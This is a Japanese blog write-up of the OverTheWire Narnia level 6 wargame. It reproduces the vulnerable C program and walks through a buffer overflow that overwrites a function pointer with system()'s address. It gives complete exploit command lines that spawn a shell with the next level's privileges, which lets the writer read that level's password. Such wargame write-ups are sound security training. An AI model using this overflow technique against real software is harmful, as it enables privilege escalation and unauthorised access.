OverTheWire:Narnia6
narnia6 で ssh 接続。
ssh narnia6@narnia.labs.overthewire.org -p 2226
全9ステージのnarnia もやっと後半戦。問題はだんだん難しく(?)なってきているが、ソースコードをじっと眺めて、色々試してみるとだんだんと攻略方法が見えてくるのが面白い。
今回のお題(narnia6.c )はこちら。
引数のb1 に指定された文字列を pus() で表示するだけの単純なプログラム。
extern char **environ;
// tired of fixing values...
// - morla
unsigned long get_sp(void) {
__asm__("movl %esp,%eax\n\t"
"and $0xff000000, %eax"
);
}
int main(int argc, char *argv[]){
char b1[8], b2[8];
int (*fp)(char *)=(int(*)(char *))&puts, i;
if(argc!=3){ printf("%s b1 b2\n", argv[0]); exit(-1); }
/* clear environ */
for(i=0; environ[i] != NULL; i++)
memset(environ[i], '\0', strlen(environ[i]));
/* clear argz */
for(i=3; argv[i] != NULL; i++)
memset(argv[i], '\0', strlen(argv[i]));
strcpy(b1,argv[1]);
strcpy(b2,argv[2]);
//if(((unsigned long)fp & 0xff000000) == 0xff000000)
if(((unsigned long)fp & 0xff000000) == get_sp())
exit(-1);
setreuid(geteuid(),geteuid());
fp(b1);
exit(1);
}
引数の b1, b2 にはバッファオーバーフローの脆弱性があるが、プログラム中で環境変数をクリアする処理が行われているので、環境変数にシェルコードを書いてジャンプする、という方法は使えない。
では、以前のステージ( narnia4 )と同様に、スタックにシェルコードを注入して、そこへジャンプする方法は使えるだろうか?
実行ファイルをチェックしてみる。
だめだ! NX enabled になっている。
スタックのデータは実行禁止になっているので、スタックにシェルコードを注入しても実行することはできない。
ではどうすれば…。
ソースをもう1度眺めてみると、ふと気が付いた。
char b1[8], b2[8];
int (*fp)(char *)=(int(*)(char *))&puts, i;
puts() がわざわざ関数ポインタで定義されているのは何故だろう?
それにこの位置で定義すると、b1, b2 のオーバーフローで 関数ポインタまで上書きされてしまう。。
また、よく見てみるとこのプログラムの最後で b1 を puts で表示するために、以下のような記述がある。
setreuid(geteuid(),geteuid());
fp(b1);
exit(1);
つまり、関数ポインタ fp を system() を指すように書き換え、引数 b1 には "/bin/sh" という文字列を渡すことができれば、fp(b1) は system("/bin/sh")になるので、シェルの起動が可能になる、ということ。
まずは、b2 をオーバーフローさせて関数ポインタ fp を書き換えられるか調べてみよう。デバッガを起動して、b1 に '/bin/sh'を、b2 に "B"を沢山入力してどうなるか見てみる。
0x42424242 にジャンプしようとしてエラーになった。"B"は 0x42 なので、b2 をオーバーフローさせることで fp を変更できることが判った。
次に system() のアドレスを調べてみる。
これもデバッガで簡単に判る。
system() のアドレスは 0xf7e4c850 であることが判った。
これで準備完了。いよいよ今回のお題のプログラムを攻撃してみる。
コマンドはこんな感じか。
/narnia/narnia6 '/bin/sh' $(perl -e 'print "A"x16 . "\x50\xc8\xe4\xf7" ')
ありゃ? b2 の9桁目以後を /bin/sh で実行しようとしたようだ。
ならば b2 の9桁目以後を '/bin/sh;' にしてしまおう。修正後のコマンドは以下の通り。
/narnia/narnia6 '/bin/sh' $(perl -e 'print "A"x8 . "/bin/sh;" . "\x50\xc8\xe4\xf7" ')
今度は無事にシェルが起動した。権限は narnia7 。
これでパスワードが読める。
というわけで、次のステージ(narunia8)へ。。